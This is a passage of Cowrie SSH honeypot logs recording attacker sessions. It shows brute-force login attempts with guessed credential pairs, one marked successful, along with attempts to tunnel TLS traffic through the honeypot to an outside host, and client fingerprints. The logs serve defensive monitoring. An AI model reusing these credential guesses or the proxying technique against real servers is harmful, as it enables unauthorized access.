ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\x91\\xf9B T\\xd9\\xa8\\xda\\x15\\xd6\\xad\\xd5d\\x81\\xf3\\x8b\\xbe\\x10y\\xde{\\x99\\xcf\\x7f\\xa3]&.\\xa8u\\xa0\\x03\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8c\\x04\\tl/G\\xf3\\xbdlU6&\\x14s\\x17\\xacG\\x01\\xde$k\\xfaC\\x95O\\xe5R\\x8a\\x10\\x8dn\\xd5 Y\\xbbOktr9\\xb3\\x0eL\\xca-=LsZ\\x9b\\x17\\xc2^\\xcc\\x96\\x99\\xfb\\xf7\\x92\\x8dt\\xe5\\xa4$\"\\x00 ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\x91\\xf9B T\\xd9\\xa8\\xda\\x15\\xd6\\xad\\xd5d\\x81\\xf3\\x8b\\xbe\\x10y\\xde{\\x99\\xcf\\x7f\\xa3]&.\\xa8u\\xa0\\x03\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:19.667154Z","src_ip":"113.164.152.20","session":"0a605ef48cdc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:20.191492Z","session":"0a605ef48cdc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:20.458340Z","src_ip":"113.164.152.20","session":"0a605ef48cdc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbd\\'m\\x15\\x9a.\\xe5\\xc4z\\xe3\\xe5\\xc1_\\x01\\x84\\x1d\\xba\\x00o\\x9f\\xd3g\\x9f\\x8e[A\\xca\\x8c\\x8c\\x0e\\xc4O Q\\xdb\\xb9\\xa0\\xdbp\\xcd\\x9aS\\x83\\x0b\\x0fT1\\x9a@\\xf4\\x06\\xfb\\x91\\xa1)\\xd4x\\xc0\\xc2^v\\xce\\xb3\\xdb\\xed\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\x0c\\xd2 j\\xe8\\xe1\\x9fhR\\xb3z]p\\xecNs\"Hg\\x86\\x90T\\xf4\\xb0}\\xc2\\x91\\xf7\\x91\\x0c\\xc8\\x03\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbd\\'m\\x15\\x9a.\\xe5\\xc4z\\xe3\\xe5\\xc1_\\x01\\x84\\x1d\\xba\\x00o\\x9f\\xd3g\\x9f\\x8e[A\\xca\\x8c\\x8c\\x0e\\xc4O Q\\xdb\\xb9\\xa0\\xdbp\\xcd\\x9aS\\x83\\x0b\\x0fT1\\x9a@\\xf4\\x06\\xfb\\x91\\xa1)\\xd4x\\xc0\\xc2^v\\xce\\xb3\\xdb\\xed\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\x0c\\xd2 j\\xe8\\xe1\\x9fhR\\xb3z]p\\xecNs\"Hg\\x86\\x90T\\xf4\\xb0}\\xc2\\x91\\xf7\\x91\\x0c\\xc8\\x03\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:20.461240Z","src_ip":"113.164.152.20","session":"0a605ef48cdc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"123qwerty","message":"login attempt [docker/123qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:20.709700Z","src_ip":"91.92.40.36","session":"d7acfe60d4e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:20.801998Z","src_ip":"113.164.152.20","session":"0a605ef48cdc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:21.158329Z","src_ip":"23.175.50.52","session":"e99dc6b2a116","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:22.959250Z","src_ip":"91.92.40.36","session":"d7acfe60d4e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":16922,"dst_ip":"159.203.135.109","dst_port":22,"session":"13718e66629b","protocol":"ssh","message":"New connection: 91.92.40.36:16922 (159.203.135.109:22) [session: 13718e66629b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:23.673275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:24.545079Z","src_ip":"91.92.40.36","session":"13718e66629b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:24.547844Z","src_ip":"91.92.40.36","session":"13718e66629b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":49652,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9e9a0f069d2","protocol":"ssh","message":"New connection: 91.92.40.36:49652 (159.203.135.109:22) [session: c9e9a0f069d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:30.187057Z"}
{"eventid":"cowrie.login.failed","username":"zhw","password":"zhw","message":"login attempt [zhw/zhw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:30.448911Z","src_ip":"91.92.40.36","session":"13718e66629b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:31.565138Z","src_ip":"91.92.40.36","session":"c9e9a0f069d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:31.568079Z","src_ip":"91.92.40.36","session":"c9e9a0f069d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.2","message":"Connection lost after 9.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:32.895626Z","src_ip":"91.92.40.36","session":"13718e66629b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":34984,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c3275dff653","protocol":"ssh","message":"New connection: 147.45.211.215:34984 (10.17.0.5:22) [session: 9c3275dff653]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:32.995901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:32.999827Z","src_ip":"147.45.211.215","session":"9c3275dff653","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:33.177210Z","src_ip":"147.45.211.215","session":"9c3275dff653","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"290191","message":"login attempt [root/290191] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:33.706080Z","src_ip":"147.45.211.215","session":"9c3275dff653","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:33.713114Z","session":"e99dc6b2a116","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:33.811003Z","src_ip":"23.175.50.52","session":"e99dc6b2a116","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x93\\x98\\xdb<\\xaa\\x95\\xad\\x11B/\\xdb7v-\\x80~E\\x84@\\xc1\\n\\x9b\\x81\\xf40\\x04FdDp\\x9dY \\xae\\x9c\\xadG\\xf6Eql\\xc8\\x1d\\x0f\\xed\\xc2i\\x9c\\xd5\\xa6R\\x019\\x8dO\\xfe\\x9b}d\\xa4\\x98\\x06\\xb6\\xc2\\t\\x00 ::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 